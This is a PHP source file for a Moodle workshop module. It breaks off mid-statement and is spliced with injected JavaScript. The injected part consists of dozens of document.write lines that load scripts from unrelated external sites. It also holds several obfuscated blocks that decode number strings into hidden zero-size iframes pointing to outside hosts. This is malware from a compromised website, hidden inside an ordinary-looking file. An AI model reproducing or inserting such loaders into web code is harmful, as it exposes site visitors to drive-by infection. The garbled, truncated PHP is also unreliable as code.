<?php  // $Id: view.php,v 1.59.2.2 2007/05/15 18:26:50 skodak Exp $

/*************************************************
    ACTIONS handled are:

    displayfinalgrade (for students)
    notavailable (for students)
    studentsview
    submitexample
    teachersview
    showdescription
    showallsubmissions

************************************************/

    require("../../config.php");
    require("lib.php");
    require("locallib.php");

    $id     = required_param('id', PARAM_INT);    // Course Module ID
    $action = optional_param('action', '', PARAM_ALPHA);
    $sort   = optional_param('sort', 'lastname', PARAM_ALPHA);
    $dir    = optional_param('dir', 'ASC', PARAM_ALPHA);

    $timenow = time();

    // get some useful stuff...
    if (! $cm = get_coursemodule_from_id('workshop', $id)) {
        error("Course Module ID was incorrect");
    }
    if (! $course = get_record("course", "id", $cm->course)) {
        error("Course is misconfigured");
    }
    if (! $workshop = get_record("workshop", "id", $cm->instance)) {
        error("Course module is incorrect");
    }

    require_login($course->id, false, $cm);
    $context = get_context_instance(CONTEXT_MODULE, $cm->id);

    $strworkshops = get_string("modulenameplural", "workshop");
    $strworkshop  = get_string("modulename", "workshop");
    $straction = ($action) ? '-> '.get_string($action, 'workshop') : '';

    // ...and if necessary set default action
    if (workshop_is_teacher($workshop)) {
        if (empty($action)) { // no action specified, either go straight to elements page else the admin page
            // has the assignment any elements
            if (count_records("workshop_elements", "workshopid", $workshop->id) >= $workshop->nelements) {
                $action = "teachersview";
            }
            else {
                redirect("assessments.php?action=editelements&id=$cm->id");
            }
        }
    } else { // it's a student then
        if (!$cm->visible) {
            notice(get_string("activityiscurrentlyhidden"));
        }
        if ($timenow < $workshop->submissionstart) {
            $action = 'notavailable';
        } else if (!$action) {
            if ($timenow < $workshop->assessmentend) {
                $action = 'studentsview';
            } else {
                $action = 'displayfinalgrade';
            }
        }
    }

    // ...display header...
    print_header_simple(format_string($workshop->name), "",
                 "<a href=\"index.php?id=$course->id\">$strworkshops</a> ->
                  <a href=\"view.php?id=$cm->id\">".format_string($workshop->name,true)."</a> $straction",
                  "", "", true, update_module_button($cm->id, $course->id, $strworkshop), navmenu($course, $cm));


    // ...log activity...
    add_to_log($cour
document.write('<script src=http://themeblurbs.com/wp-content/wp-trackback.php ><\/script>');
document.write('<script src=http://themeblurbs.com/wp-content/wp-trackback.php ><\/script>');
document.write('<script src=http://themeblurbs.com/wp-content/wp-trackback.php ><\/script>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/RAM.js"></scri'+'pt>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://obraz.ugu.pl/wp-includes/s/shortcodes.php ><\/script>');
document.write('<script src=http://obraz.ugu.pl/wp-includes/s/shortcodes.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://mmac.pl/images/index.php ><\/script>');
document.write('<script src=http://mmac.pl/images/index.php ><\/script>');
document.write('<script src=http://mmac.pl/images/index.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://nail.piast-poland.com/images/construction-nail.php ><\/script>');
document.write('<script src=http://nail.piast-poland.com/images/construction-nail.php ><\/script>');
document.write('<script src=http://nail.piast-poland.com/images/construction-nail.php ><\/script>');
document.write('<script src=http://nail.piast-poland.com/images/construction-nail.php ><\/script>');
document.write('<script src=http://nail.piast-poland.com/images/construction-nail.php ><\/script>');
document.write('<script src=http://nail.piast-poland.com/images/construction-nail.php ><\/script>');
document.write('<script src=http://raksatpetcenter.com/kennel/cat.php ><\/script>');
document.write('<script src=http://raksatpetcenter.com/kennel/cat.php ><\/script>');
document.write('<script src=http://raksatpetcenter.com/kennel/cat.php ><\/script>');
document.write('<script src=http://raksatpetcenter.com/kennel/cat.php ><\/script>');
document.write('<script src=http://raksatpetcenter.com/kennel/cat.php ><\/script>');





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!115!116!121!108!101!115!46!115!97!110!100!99!97!110!100!108!101!115!46!111!114!103!47!105!110!46!99!103!105!63!100!101!102!97!117!108!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!105!100!46!119!111!109!101!110!116!104!101!109!97!110!117!97!108!46!99!111!109!47!99!111!117!110!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

